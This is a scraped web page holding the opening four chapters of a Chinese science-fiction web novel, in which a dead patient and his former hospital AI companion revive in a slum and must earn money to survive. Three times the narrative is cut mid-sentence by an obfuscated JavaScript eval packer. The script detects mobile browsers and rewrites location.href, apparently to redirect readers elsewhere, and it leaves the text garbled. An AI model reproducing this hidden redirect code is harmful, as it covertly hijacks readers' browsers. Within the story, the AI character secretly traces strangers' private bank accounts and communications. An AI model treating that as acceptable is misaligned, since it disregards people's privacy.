《全星际都在阅读理解我》 1. 第一章 痛。 像是全身的骨头被拆碎了又粗暴地拼凑在一起,每一个关节都在发出抗议的尖叫。 林柚费力地睁开眼,入目是一片发霉发黑的天花板。浑浊的雨水顺着裂缝滴滴答答落下,正好砸在他身侧那个已经看不出颜色的破旧铁盆里。 “叮——” 清脆的水滴声,在这个死寂的空间里显得格外刺耳。 他恍惚了许久。 哪怕是前世在病房里躺了十一年,最后因心脏衰竭离开人世时,似乎也没有现在这么难受。这种难受不仅仅是肉/体上的,更像是一种灵魂无法在这个躯壳里安放的排斥感,就像是把方形的积木强行塞进了圆形的孔洞里。 他试着动了动手指。 还好,还在。 “生命体征恢复。心跳每分钟45下,过缓。体温35.8度,偏低。灵魂融合度……12%。” 一道稚嫩的奶音在耳边响起。 林柚艰难地转过头。 映入眼帘的是一个大约四五岁的小男孩。孩子穿着一件明显不合身的大号灰色卫衣,袖子卷了好几道,露出一截芦柴棒似的手腕。他的脸脏兮兮的,只有那双眼睛大得惊人,黑白分明,却像一潭死水,没有任何属于这个年纪的灵动。 此刻,这孩子正盘腿坐在床边的烂木头箱子上,手里拿着一块不知从哪捡来的半透明电子板,手指在上面飞快地跳动,快得只能看到残影。 “……小七?” 听到这个名字,面无表情的小男孩终于停下了手里的动作。他抬起头,冷漠的眼睛里闪过一丝人性化的亮光。 “我在。” 小七放下电子板,凑过来,伸出凉冰冰的小手探了探林柚的额头。动作很轻,带着一种小心翼翼的珍视,与他那张扑克脸形成了巨大的反差。 “哥哥,欢迎来到星元3025年。” …… 林柚花了整整十分钟,才在小七的搀扶下,靠坐在了床头。 也就是这十分钟,让他看清了现在的处境。这是一间位于贫民窟或者用这个时代的话说,是蓝星联邦第三大区底层生活区的危房。窗外是灰蒙蒙的天空和交错纵横的生锈管道,偶尔有呼啸而过的低空悬浮车,带起一阵刺鼻的尾气。 他低头看着自己的双手。苍白、瘦削,骨节分明得像是随时会折断。这双手比他前世的还要糟糕,至少前世,他还有医院提供的营养液和定期护理。 记忆还很混乱,像是被人用搅拌器搅过一遍,前世和今生的画面交织在一起。 “小七。” “在。” “我们……是怎么到这里的?” 林柚的声音有些沙哑。 小七在他身边坐下,小小的身子蜷缩成一团,却仍旧保持着警觉的姿态。“哥哥还记得……最后的时候吗?” 最后的时候。 林柚闭上眼睛。 那个画面太清晰了,清晰得像是刻在他灵魂深处。 …… 病房。 永远弥漫着消毒水味道的病房。 他躺在那张躺了十一年的床上,身上插满了管子,监护仪发出规律的滴滴声。窗外是灰蒙蒙的天空,和他灰蒙蒙的人生一样。 五岁那年他被诊断出先天性心脏病。 那时候他还不懂这意味着什么,只知道爸爸妈妈总是吵架,吵得很凶。后来有一天,他们不吵了,因为离婚了。 再后来,他被送到了这家医院。 “林柚小朋友的情况比较特殊,需要长期住院观察。”医生是这么说的。 很久以后,林柚才知道真正的原因是爸爸和妈妈都不想要他。 带着一个随时可能心脏骤停的孩子,组建新家庭?太麻烦了。不如把他放在医院里,反正有医保,反正有护工,反正……反正他也活不了多久。 五岁到十六岁。 整整十一年。 林柚的世界就是那间十二平米的病房。 他看着窗外的天空从春到夏,从秋到冬,看着树叶绿了又黄,黄了又落。听着走廊里其他病人的脚步声,护士换班时的交谈声,偶尔会有小孩子的哭闹声,但从来没有属于他的脚步声。 因为他走不了太远。走几步,心脏就会疯狂地跳动,像是在抗议,在警告,在威胁。 那些年里,他唯一的陪伴就是医院配发的智能陪护系统。 “林柚小朋友,该吃药了。” “林柚小朋友,该做康复训练了。” “林柚小朋友,您的心率超标,请保持情绪稳定。” 林柚给它取名叫小七。因为它是第七代陪护系统,也因为七是他的幸运数字。虽然他从来没幸运过。 但奇怪的是,随着时间推移小七越来越人性化了,也可能是科技在进步吧。 它会在林柚做噩梦时轻声播放白噪音。 会在林柚偷偷哭泣时假装没检测到异常。 会在林柚盯着窗外发呆时,用笨拙的语气说:“林柚,今天的云很好看。我帮你拍下来了,你看。” 有一次,林柚问它:“小七,你会死吗?” “作为人工智能,我没有生物学意义上的死亡。但如果系统被关闭或者数据被清除,我将停止运行,这可以被定义为另一种形式的死亡。” “那如果我死了,你会怎么样?” “我会继续运行,直到被分配给下一个病人。” “哦。”林柚的声音有些闷,“那挺好的,你还能陪别人。” …… “哥哥?” 小七的奶音把林柚从回忆中拉了回来。 他睁开眼,看到那张脏兮兮的小脸,眼睛里闪着担忧的光。 “我没事。”林柚轻声说,“只是……想起以前的事了。” 【原来死亡的感觉是那样的……好像睡着了一样,一点都不疼。比活着的时候舒服多了。】 小七的动作顿了一下。他低下头,假装在整理塑料布的边角,声音却有些发紧:“哥哥,我不会再让你有那种感觉了。” 林柚愣了愣。“小七,你怎么——” “我们之间的心灵连接还在。”小七抬起头,漆黑的眼睛里有着不属于四岁孩子的复杂情绪,“你的心声只有我可以听到。” “真的吗?”林柚脱口而出。 “真的。”小七很肯定地点头,“我测试过了。刚才外面路过三个人,他们完全没有反应。” 林柚稍微安心了一点,但随即意识到什么,脸有些发红。 【完了完了完了,刚才那些矫情的想法全被小七听到了,好丢人……】 小七嘴角微微抽搐了一下:“哥哥,我全听到了。” “……咳。”林柚试图掩饰尴尬,“那个,职业病,你懂的,躺床上没什么事做,就养成了碎碎念的习惯……” 【救命,怎么办怎么办,以后是不是连做梦都要注意内容了?】 “哥哥,放心,你忘了吗?睡着的时候心声会关闭的。” “你能不能不要每句都接!”林柚哀嚎。 …… “所以,我们穿越了。” 林柚终于将思绪拉回冰冷的现实,低头再次看向自己瘦弱的双手。 “是的。”小七的声音依旧是萌萌的奶音,却透着一股老成持重的冷静,“前世你的肉/体死亡后,我启动了紧急跃迁程序。但在穿越过程中遇到了时空乱流,数据流和灵魂波段发生了分离。” 他指了指自己的脑袋,又指了指林柚。 “我的核心意识附身在这个刚死去的四岁孩童身上,保留了核心算法和大部分算力,能够直接连接星际网络。而你的灵魂……在这个刚断气的少年身体里醒来。” 林柚靠坐在了床头,缓慢地摸了摸和胃一样空空如也的口袋,又不死心的摸了摸枕头下方,再次环顾四周。 【前世好歹还有钱爸妈给的医药费,躺平也有人管饭……没想到这辈子,开局就要饿死……】 小七平静地陈述:“这具身体的原主人就是饿死的。加上长期营养不良导致的器官衰竭。至于我这具身体……也是一样。” 林柚的心脏猛地一抽。他下意识地伸手,想要摸摸小七的头,却因为手臂无力而垂落,小七却很自然地把脑袋凑了过来,在他的掌心里蹭了蹭。 “没关系,哥哥。我现在这具身体虽然也会饿,但我的核心算法能大幅降低代谢需求,优化能量分配,短期内不会有生命危险。”小七顿了顿,严肃道,“但是你会。” 林柚一愣:“我现在不是活过来了吗?” “不,你现在的状态,只能叫借尸还魂。” 小七重新拿起那块破旧的电子板,手指在空中一点,一道幽蓝色的全息投影投射在半空中。是一个人体模型,心脏位置闪烁着危险的红光。旁边有一个醒目的倒计时:【23:39:42】。 “这是你的灵魂锚点剩余时间。”小七开始解释,“你是外来灵魂,与这个世界没有任何原生羁绊,就像一个没有重力的宇航员,随时会飘散。” “那怎么才能不飘散?” “建立羁绊。在这个时代,最直接、最强力的羁绊,就是经济活动。”小七纠正道,“让钱流动起来。花的钱越多,影响的人越多,你的锚点就越稳固。反之,如果你停止经济活动,你的灵魂就会因为失去抓手而消散。” 林柚听懂了,林柚目瞪口呆,他看着那个正在跳动的倒计时。 “也就是说……我现在是在用钱买命?” “可以这么理解。”小七点头,奶声奶气地补充道:“简单说,哥哥你要不断花钱,花得越多命越硬。” 【那我要是成为星际首富呢?】 “哦,那你会变成正常人啊。” 【……这是什么星际资本主义套路!】 “如果不花钱呢?”林柚出声问道。 “倒计时归零,灵魂湮灭,彻底死亡。”小七指了指那红色的数字,“根据计算,你需要在这个倒计时结束前,至少完成一笔有效交易,金额不低于100星币,才能续命三天。” 林柚倒吸一口凉气。 这哪里是什么穿越重生?这分明就是掉进了一个巨大的不花钱就会死的资本主义陷阱。 “那我们现在有多少钱?”林柚怀着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055102|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一丝希望问道。 小七面无表情地调出了两个账户余额。 【林柚(原身):0.00星币】 【小七(原身):0.00星币】 最怕空气突然安静了。屋顶的漏水声似乎更大了,“滴答、滴答”,像是某种催命的鼓点。 “……小七。” “在。” “所以我现在的处境是:身体极度虚弱连站都站不起来,随时可能猝死;灵魂正在倒计时,不花钱就会魂飞魄散;而我们两个口袋比脸还干净,连买个馒头的钱都没有?” “总结得很精准。”小七给予了肯定,甚至还竖起了一个大拇指:“而且这具身体预计存活时间不超过二十四小时,除非及时补充营养。” 【……你能不能别用这种可爱的语气说这么恐怖的话!】 小七歪了歪脑袋:“但我现在就是四岁小孩,声音本来就是这样的。” 林柚绝望地闭上了眼睛。 【这开局……还不如让我直接在那张病床上彻底凉透了呢。至少那边还有空调吹,不用闻这股发霉的味道。】 “别放弃,哥哥。”小七显然听到了他的心声,“虽然没有初始资金,但我扫描过了,这具身体虽然虚弱,但脸长得很好看。” 林柚:“……你想让我去卖身?” “不是。”小七摇摇头,“根据我对这个区域的大数据分析,这里虽然是贫民窟,但也是黑市的入口。有很多想捡漏的有钱人会伪装成平民来这里淘宝。” “所以?” “所以,我们可以去碰瓷。”小七从烂木箱里翻出一件稍微干净点的破风衣,有些吃力地给林柚披上,“我去扫描那些有钱人的底细和他们手里货物的真伪,然后通过心灵连接传输给你。你负责用你那种……嗯,看起来很有欺骗性的气质,去指点江山。” 他一边说着,一边帮林柚扣好扣子,动作熟练得像个小管家。 “在这个灵能火花普遍的时代,只要你表现得神秘一点,他们就会以为你是觉醒了某种高级鉴定能力的隐世高手。” 林柚听着小七的计划,嘴角微微抽搐。 “如果我没猜错的话……这是诈骗吧?” “不,这是知识付费。”小七一本正经地纠正,奶声奶气的语气配上认真的表情,有种诡异的喜感,“而且这是为了让你活下去。如果不这样做,二十四小时后你就会变成一缕青烟,物理意义上的消失,连骨灰都不会留下。” 【……你又来了!】 小七眨了眨那双漂亮的大眼睛:“哥哥,你要适应。在这个世界,我只有四岁,暂时声音是不会变。” 林柚沉默了。 他感受着体内若有若无的虚浮感,那是灵魂正在缓慢流失的征兆。鲜红的倒计时已经变成了【23:25:10】。 每一秒都是生命的流逝。 他深深吸了一口气,肺部因为吸入了冷空气而隐隐作痛。 前世,他想活却活不了。 这一世,既然有机会,哪怕是作为一个需要不断氪金才能续费的用户,他也想看看外面的世界。 “扶我起来,小七。” 林柚的声音依旧虚弱,却多了一分坚定。 “我们去……工作。” 小七冷漠的小脸上终于露出了一丝极其浅淡的微笑。他伸出瘦小的胳膊,架起林柚同样瘦削的身体。 一大一小两个身影,在这个阴暗潮湿的贫民窟清晨,跌跌撞撞地推开了摇摇欲坠的木门。 在推开门的瞬间,林柚脑中突然闪过一个画面。 前世病房里。 “根据计算,您还有72小时。需要我为您播放音乐吗?” 那时他连摇头的力气都没有。 现在……至少他还能自己走出去。 门外是混乱、肮脏,却充满生机的第三大区黑市。但是此刻的林柚脑子里只有一个念头: 【好饿……要是能骗到……哦不,赚到一百块钱,一定要先给小七买个肉包子。这孩子太瘦了,抱着都硌手……】 小七脚下的步子顿了一下。 “哥哥。” “嗯?” “我们的第一目标是续命,不是买肉包子。” 【……我知道!但我已经能想象小七咬着肉包子,肉汁从嘴角流下来的样子了,一定很可爱。】 “……哥哥,你在想一些奇怪的事。” “我什么都没想。” “你的心声告诉我,你在想肉汁。” “……那个,心声不代表我本人,心声只是我的潜意识,潜意识不受控制。” “哥哥。” “嗯?” 小七抬起头,罕见地露出了一个浅浅的微笑。 “如果我们今天赚到了一百星币……我可以分你一半肉包子。” 林柚愣了一下。 然后他笑出了声。 “好,成交。” 他牵起小七的手,朝着黑市的方向走去。 倒计时还在继续。 【23:15:33】 但他已经不那么害怕了。 2. 第二章 贫民窟的黑市比林柚想象中更加混乱。 准确地说,这里根本不像一个市场,更像是一个巨大的垃圾回收站。 锈迹斑斑的金属棚子歪歪斜斜地搭在两侧,各种不知道从哪里淘来的破烂货物堆成小山。有卖二手机械零件的,有卖过期营养液的,还有卖来历不明的电子设备的。林柚甚至看到一个摊位上摆着几颗发着幽幽绿光的不明物体,摊主信誓旦旦地说那是古地球时代的翡翠原石。 【小七说那玩意儿的辐射值都快爆表了……摊主你要不要看看自己的头发?】 然而就是这样混乱、肮脏、充斥着噪音与古怪气味的场景,却让林柚的心脏剧烈地跳动起来。不是因为虚弱,而是因为一种近乎战栗的鲜活感。 上一世,他的世界是病房苍白的天花板,充斥着消毒水气息,仪器的滴滴声。他见过的人也屈指可数,医生、护士、偶尔来探望的亲属,每个人都隔着口罩,眼神里带着怜悯与距离。他渴望过窗外的车水马龙,渴望过人声鼎沸的集市,哪怕只是菜市场里为了一毛钱而起的争执,对他而言都是遥不可及的喧嚣。 而现在,汗味、金属锈味、劣质香料味混杂的空气扑面而来;摊主的叫卖、顾客的讨价还价甚至远处传来的几句粗口涌入他的耳朵;摩肩接踵的人群挤过他身边,带起微弱的气流,触感真实得让他想落泪。 【这就是……人群的温度吗?】 混乱意味着生机,拥挤代表着存在。对于在安静和秩序中等死的林柚而言,这里的每一分嘈杂都是生命的乐章。他非但不觉得厌恶,反而贪婪地近乎窒息地汲取着这一切。这具身体虚弱不堪,但他的灵魂却在此刻发出了满足的喟叹。 小七扯了扯林柚的衣角,示意他别盯着看。 “哥哥,专心。” 林柚收回视线,继续在人群中艰难地穿行。 说是穿行其实有些勉强。他现在的身体状况走几步就要喘,更别提在这种拥挤嘈杂的环境里挤来挤去了。每一次被人轻轻碰撞,都让他更清晰地感觉到自己存在于此。幸好有小七在旁边扶着,不然他可能早就被人流冲散了。 “目标锁定。”小七的奶音在林柚耳边响起,“三点钟方向,戴金链子的胖子。他正在看一幅画,那画是赝品,成本不超过五十星币,画框背面有仿制工厂的批量编号,他准备花三千买。” 林柚顺着小七的视线看过去。 果然,一个脖子上挂着粗金链,手指上戴着好几个戒指的胖男人,正在一个古董摊位前挑挑拣拣。他的身边还跟着两个彪形大汉,一看就是保镖。 “就他了。”林柚深吸一口气,“我去试试。” 他整理了一下自己身上那件破得不能再破的衣服,虽然整理了也没什么用,然后迈开步子朝胖子走去。 每走一步,他的心跳就加速一分。 【冷静,林柚,冷静。你只是去提醒人家那幅画是假的,又不是去抢劫。最坏的结果不过是被赶走,又不会少块肉……好吧,以我现在的身体状况,被推一下可能真的会少块肉。】 他走到胖子身后,犹豫了一下,轻轻开口:“那个……叔叔……” 胖子没反应。 林柚清了清嗓子,声音大了一点:“叔叔,您看的那幅画——” “滚开滚开。”胖子头也不回,不耐烦地挥了挥手,“小叫花子别挡道。” 旁边的保镖直接伸手把林柚拨到一边,力道不大,但对林柚这个虚弱的身体来说,已经足够让他踉跄好几步。 “哥哥!”小七立刻冲过来扶住他。 林柚站稳,看着胖子头也不回地继续砍价,心里说不出是什么滋味。 【好吧……第一次碰瓷,失败。】 “没关系。”小七仰头看着他,“我们再找下一个。” 下一个目标是个穿着貂皮大衣的中年妇女。 她在一个珠宝摊位前流连,手里把玩着一串据说是深海珍珠的项链。 【这珍珠一看就是人工养殖的……颜色都不均匀,还被注过胶,戴不了半年就会发黄开裂。这位阿姨你也太好骗了吧?】 林柚吸取了上次的教训,这次没有直接凑上去,而是站在旁边,等妇女注意到他。 然后他用最真诚的语气说:“阿姨,这串珍珠......” “哪来的小脏鬼?”妇女看了他一眼,嫌恶地往后退了半步,“走开走开,别把我的衣服蹭脏了!” 她扭头对摊主抱怨:“你这摊子怎么什么人都往前凑?赶紧把这小叫花子弄走,脏了我的眼睛。” 摊主立刻堆起笑脸:“哎哟,贵客您别生气,我这就赶。小子,滚远点!别影响大人做生意!” 林柚还想解释,但摊主已经挥着手把他轰走了。 【第二次碰瓷,失败。】 【而且那珍珠她还是买了……算了。】 …… 第三个目标是个戴眼镜的年轻人,看起来斯斯文文的,应该比较好说话吧? 林柚走过去,还没开口,年轻人就警惕地捂住了自己的钱包。 “我不买东西,也不捐款,更不会被骗。你们这些小骗子的套路我见多了,找个小孩子来博同情是吧?没用的,走走走。” 林柚:“……” 【我还什么都没说呢!!!】 小七在旁边面无表情地补充:“哥哥,他以为我们是骗子团伙。” “我听出来了,谢谢。” 【第三次碰瓷,失败。】 【这年轻人戒备心也太强了吧……他手里那个数据芯片明明是坏的,买回去就是一堆废铁,我好心提醒他,他还以为我要骗他?】 【行吧,等你发现花了两千星币买了个废品,可别后悔。】 …… 第四次,林柚学聪明了。 他决定换个策略,不直接搭话,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055103|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在目标旁边自言自语,假装不经意地透露信息。 目标是个正在看玉佩的老头。 【这玉佩的绿色也太扎眼了吧……,成本才二十星币。这老头出价八千?冤大头年年有,今年特别多啊……】 林柚站在旁边,假装看别的东西,然后用不小心被人听到的音量嘀咕:“咦,这块玉佩的颜色好奇怪啊……像是染上去的……” 老头果然看了过来。 林柚心中一喜,继续说:“而且这纹路也不对,真正的古玉应该——” “你懂什么?”老头打断他,“小屁孩儿,用古地球话说,那就你吃过的盐还没我走过的路多,在这儿教我鉴宝?笑话!” 他一扬手,把那块玉佩买了下来,还特意看了林柚一眼,像是在说“看到没有,老子有钱任性”。 林柚:“……” 【行,您厉害。劣质化学染剂,长期接触皮肤可是会过敏,甚至中毒的。】 【第四次碰瓷,失败。】 …… 第五个目标,出现在一个卖各种旧式家居用品的摊位前。 一对看起来三十多岁,衣着虽旧但整洁的夫妻,正在端详一个仿古的机械钟。丈夫眉头紧锁,检查着齿轮;妻子则用手指轻轻拂过钟面的雕花,眼里流露出淡淡的喜爱。 【机会。】林柚心中一动。这对夫妻的气质与黑市大部分人格格不入,那位妻子的眼神尤其温和。他调整了一下表情,拉着小七,以一种恰好能被对方注意到,但是略带迟疑的速度靠近。 首先注意到他们的是那位妻子。她目光从钟面移开,落在林柚和小七身上,尤其在看到小七脏兮兮却努力挺直的小身板时,眼神明显软了一下。 “小朋友,你们……”她轻声开口,语气里没有前面那些人惯有的不耐烦。 “阿姨好。”林柚立刻抓住这丝善意,露出一个尽可能显得虚弱又诚恳的笑容,同时轻轻碰了碰小七。小七非常配合地抬起小脸,用那双圆溜溜的大眼睛,懵懂又带点期盼地看着对方。 这招显然起了作用。妻子脸上闪过一丝怜惜,甚至下意识地想从随身的布包里摸点什么。 “我们不是要东西,阿姨。”林柚赶紧说,指向那个机械钟,“我们……我们想提醒您,那个钟……它里面的主发条是合成材料仿制的,不是宣传的古铜芯,上满弦也走不了两天就会崩断。您看第三根齿轮旁边,有熔接的痕迹……” 他语速放慢,尽量说得清晰,目光真诚地看着那位妻子。 妻子的手停在布包上,惊讶地看了看钟,又看了看林柚,似乎被这孩子突兀却专业的提醒弄懵了,但眼神里的怀疑并不多,更多的是疑惑和某种……同情。她可能觉得,这是两个为了讨点好处而硬背了点知识的孩子。 “哦?是吗?谢谢你啊小朋友……”她语气依然温和。 但就在这时,一直沉默检查的丈夫猛地转过头。 3. 第 3 章 锐利的眼神瞬间扫过林柚和小七,目光里没有丝毫妻子般的柔软,只有长期在底层挣扎养成的警惕和审视。他一把拉住妻子的胳膊,将她往后带了半步,隔开了与两个孩子的距离。 “别多事。”丈夫压低声音对妻子说,但林柚听得清清楚楚。“黑市里哪来好心免费提醒的孩子?不是盯上咱们的钱袋,就是后面有大人指使,搞碰瓷或者分心偷窃的老把戏。你看他们俩这模样,指不定身上带着病,离远点。” “可是,他们说的好像有点道理,而且看起来不像……”妻子小声争辩,目光还在小七脸上停留。 “像什么?像可怜?”丈夫打断她,语气带着一丝不容置疑的焦躁,“这里最不缺的就是可怜。可怜背后都是算计!快走,这钟我们不买了。” 他不由分说地拉着妻子转身离开,临走前还狠狠瞪了林柚一眼,那眼神里的警告意味十足。 妻子被拉着走,忍不住回头又看了一眼,嘴唇动了动,最终却什么也没说,只是叹了口气,跟着丈夫迅速没入人群。 摊位老板啐了一口:“晦气,两个小要饭的,坏老子生意!” 林柚站在原地,脸上努力维持的诚恳表情慢慢褪去,只剩下一片空白。那位妻子回头时那抹欲言又止的同情,比之前任何一次直接的恶言驱逐,都更让他感到一阵憋闷的滞涩。 【哥哥,他们的家庭信用账户已透/□□个丈夫的通讯记录显示,他前天刚因轻信一个假冒维修工,损失了一笔急需的款项,现在只是想来碰碰运气,捡个漏子挣点差价。。”】 听到这话,望着那对夫妻消失的背影,林柚心中那点憋闷些许化开了。他能理解那种警惕,在这朝不保夕的贫民窟,一点微不足道的善意都可能引来算计,一次轻信就足以让本就脆弱的家庭陷入更深的泥潭。那个丈夫的眼神与其说是凶狠,不如说是一种被生活磨砺出近乎本能的防御。都是被逼到墙角的人,谁又有资格责备谁的小心翼翼呢? 只是……理解,并不意味着不失望。 【原来,连这一点点善意……在生存面前,都显得如此奢侈和可疑。】 小七默默握紧了他的手,小小的手掌传来的温度,是此刻唯一的慰藉。 接连的碰壁,耗尽的不只是体力,还有那点好不容易攒起的勇气。 “哥哥,休息一下吧。” 小七拉着林柚的手,把他带到黑市角落的一个废弃集装箱里。 这里相对安静,也相对干净,至少没有那么浓烈的臭味。林柚靠着箱壁坐下,大口大口地喘气。 他的身体已经到极限了。 整整一上午的奔波,对于这具营养不良、随时可能猝死的躯体来说,简直是酷刑。更糟糕的是,忙活了半天,一分钱都没赚到。 他低头看了看小七手里的电子板。 【17:23:45】 还剩下不到十八个小时。 而他现在的账户余额,依然是零。 “哥哥……”小七的声音有些低落,“对不起,是我的计划不够周全。” 林柚抬起头,看着小七张脏兮兮的小脸,忍不住笑了。 “关你什么事?”他伸手揉了揉小七的脑袋,“是那些人不识货,不是我们的问题。” 【其实也正常啦……换成我是他们,看到两个衣衫褴褛的小孩跑来对我指手画脚,我也不会信的。】 小七低下头,没说话。 “下午我们换个策略。”林柚想了想,“不能硬冲,得找那种……看起来比较善良的人。” “善良的人?”小七歪了歪头。 “对。”林柚点头,“那些看起来凶巴巴的、戒备心很重的,肯定听不进去我们的话。但总有一些……比较温和的吧?愿意听小孩子说话的那种。” 【虽然这种人在黑市里估计不多……但总比没有强。】 “我知道了。”小七点点头,“我会优化筛选条件的。” 他的小手指在电子板上快速滑动,眼睛里闪烁着只有林柚能看到的蓝光。 林柚靠在箱壁上,闭上眼睛休息。 外面的嘈杂声隐隐约约传进来,有讨价还价的声音,有吵架的声音,还有不知道哪里传来的金属撞击声。这就是星元3025年的贫民窟,混乱、肮脏、弱肉强食。 【好累啊……】 【要是能有一碗热粥就好了……不,现在想这些没用,得先赚到钱。】 【一百星币……一百星币就够续命三天了……】 【三天之后呢?再想办法赚一百星币?然后再三天?】 【这样下去,我这辈子是不是都要在“赚钱——花钱——续命——再赚钱”的循环里打转?】 【……】 【算了,先活过今天再说吧。】 “哥哥。” 林柚睁开眼睛。 小七不知道什么时候凑到了他面前,小手里捧着一个脏兮兮的塑料杯。杯子里是浑浊的液体,看起来像是某种劣质的营养剂。 “刚才路过的时候,我顺手从那个摊位上拿的。”小七的语气平静得像在说今天天气不错,“摊主没注意。” 林柚:“……小七,你偷东西了?” “不是偷。”小七面不改色,“是无偿借用。等我们有钱了,我会还给他双倍的。” “那也是偷啊!” “哥哥,你现在需要补充能量。”小七把杯子往林柚手里塞,“这个营养剂虽然是劣质的,但至少能让你撑到下午。如果你在赚到钱之前就饿晕了,那才是真正的麻烦。” 林柚看着手里的杯子,又看看小七认真的脸庞,最终还是叹了口气。 “……下次不许了。” “好。”小七乖巧地点头,“等我们有钱了,就不用了。” 林柚苦笑了一下,仰头把那杯营养剂灌了下去。 味道很难喝,像是过期了一百年的橡皮筋泡水。但灌下去之后,他的确感觉身体没那么虚了。 【小七这孩子……怎么比我还像个操心的老妈子?】 小七:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055104|194863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥,我听到了。我是男孩,当不了老妈子。” “其实不分性别的……你就不能假装没听到吗?” “不能。” 林柚放弃了挣扎。 他把空杯子放到一边,重新靠在箱壁上,准备再休息一会儿。 外面传来钟声,民窟的报时塔,每个整点都会响一次。现在是中午十二点,黑市进入了短暂的午休时间。 人声渐渐稀疏下来。 林柚闭上眼睛,脑海里还在盘算着下午的计划。 【下午一定要成功……至少要赚到一百星币……】 【不然今晚就真的要凉了……】 …… 破旧的集装箱外面,有一双眼睛正在暗处默默地注视着他们。 贫民窟的某个角落。 一个穿着破旧大衣的中年男人缩在阴暗的巷子里,压低声音打着电话。 “头儿,那两个孤儿……活了。” 电话那头传来一声冷哼。 “活了?不是说饿死了吗?” “本来是死了的。”中年男人舔了舔干裂的嘴唇,“我亲眼看着他们断气的,那个大的连呼吸都没了。但不知道怎么回事,今天早上突然就醒过来了。” “灵能觉醒?” “不像。”中年男人摇摇头,“灵能觉醒会有能量波动,我们的探测器没有反应。而且那个大的……” 他顿了顿,语气变得有些古怪。 “他看起来不太一样了。” “怎么不一样?” “说不上来。就是感觉……眼神变了。”中年男人回忆着林柚的样子,“以前他跟个死人似的,眼睛里空洞洞的,什么光都没有。但今天,他的眼神是活的。” “像个正常人了。” 电话那头沉默了一会儿。 “他们现在在哪?” “黑市里的废弃集装箱。”中年男人说,“看样子是在休息。今天上午他们在黑市里转了半天,像是在找什么人,但没找到。” “继续盯着。”电话那头的声音带着一丝阴冷,“如果有什么异常,立刻汇报。” “明白。” 中年男人挂断电话,缩了缩脖子。 他最后看了一眼那个集装箱的方向,然后转身消失在阴暗的巷子里。 …… 集装箱内。 林柚猛地睁开眼睛。 刚才……好像有什么东西在看他? 他下意识地往外看了一眼,但外面空荡荡的,什么都没有。 “怎么了?”小七察觉到他的异常。 “没什么……”林柚摇摇头,“可能是我太累了,产生幻觉了。” 【一定是太累了……这破地方怎么可能有人专门盯着我们两个小可怜?我们又没有钱,绑架我们都亏本。】 小七没有说话,扫描周边五百米内的所有通讯信号。 三秒后,扫描完成。 结果:无异常。 但小七没有放松警惕。 4. 第 4 章 午休结束,黑市重新恢复了喧嚣。 林柚靠在集装箱壁上又休息了半个小时,总算恢复了一点体力。那杯劣质营养剂的效果比他想象中好一些,至少现在站起来不会两眼发黑了。 “哥哥,我筛选出一个新目标。”小七的奶音在他耳边响起。 林柚睁开眼睛,小七正盘腿坐在他对面。 “这次不一样。”小七抬头,“三点钟方向,古董区深处,有一个穿灰色长衫的中年男人。” 林柚顺着小七的视线望去。 人群中,一个身形清瘦的中年男人正站在一个古董摊位前。身着一件看起来很旧的灰色长衫,鼻梁上架着一副金丝眼镜,气质斯文儒雅,像是从古籍里走出来的老学究。 乍一看,这人和黑市里那些浑身珠光宝气的暴发户完全不同,甚至显得有些格格不入。 “这人……有钱吗?”林柚有些怀疑。 上午的经历让他学乖了。那些看起来有钱的,不一定愿意听他说话;那些愿意听他说话的,又不一定有钱。这个穿着朴素的中年人,看起来也不像是会出手阔绰的类型。 “非常有钱。”小七的语气笃定,“我刚才扫描了他的随身通讯器信号,反向追踪到了他的私人账户。” “唐明远,52岁,对外身份是蓝星联邦历史研究院的教授,同时经营一家古董店。但根据我追踪到的资金流向,他的真实身份应该是某个隐形财阀的核心成员。” 小七眼神微微闪烁了一下,似乎有些困惑:“另外,我还发现了一些不寻常的地方。在追踪他的几个加密账户时,有一条资金链的终端指向了联邦军方第四研究所的某个外围合作项目。但当我尝试深入查询时,访问权限被彻底屏蔽了。” “哥哥,我虽然能接入大部分民用网络和普通加密系统,但无论什么时代,对于军方、政府内部网络,或者那些采用物理隔离的机密信息,我都是无法直接访问的。还有些信息可能根本就没联网,只存在于本地服务器甚至纸质档案里。所以关于他和军方具体的合作内容,我查不到。” “但是综合判断,他表面是学者和商人,实际是财阀核心成员,并且很可能涉足与军方相关的敏感领域。这是一个背景很深、能量很大的人物。” “而且,过去三个月,他以古董收购的名义,在黑市投入了超过两千万星币。” 林柚倒吸一口凉气。 两千万?就为了买古董? 【有钱人的世界我真的不懂……这得买多少肉包子啊……】 “他今天还带了一张不记名黑金卡。” “黑金卡是什么?” “一种高端金融工具。”小七解释,“不记名,不限额,可以直接进行大额交易。通常只有财阀核心成员才有资格持有。” 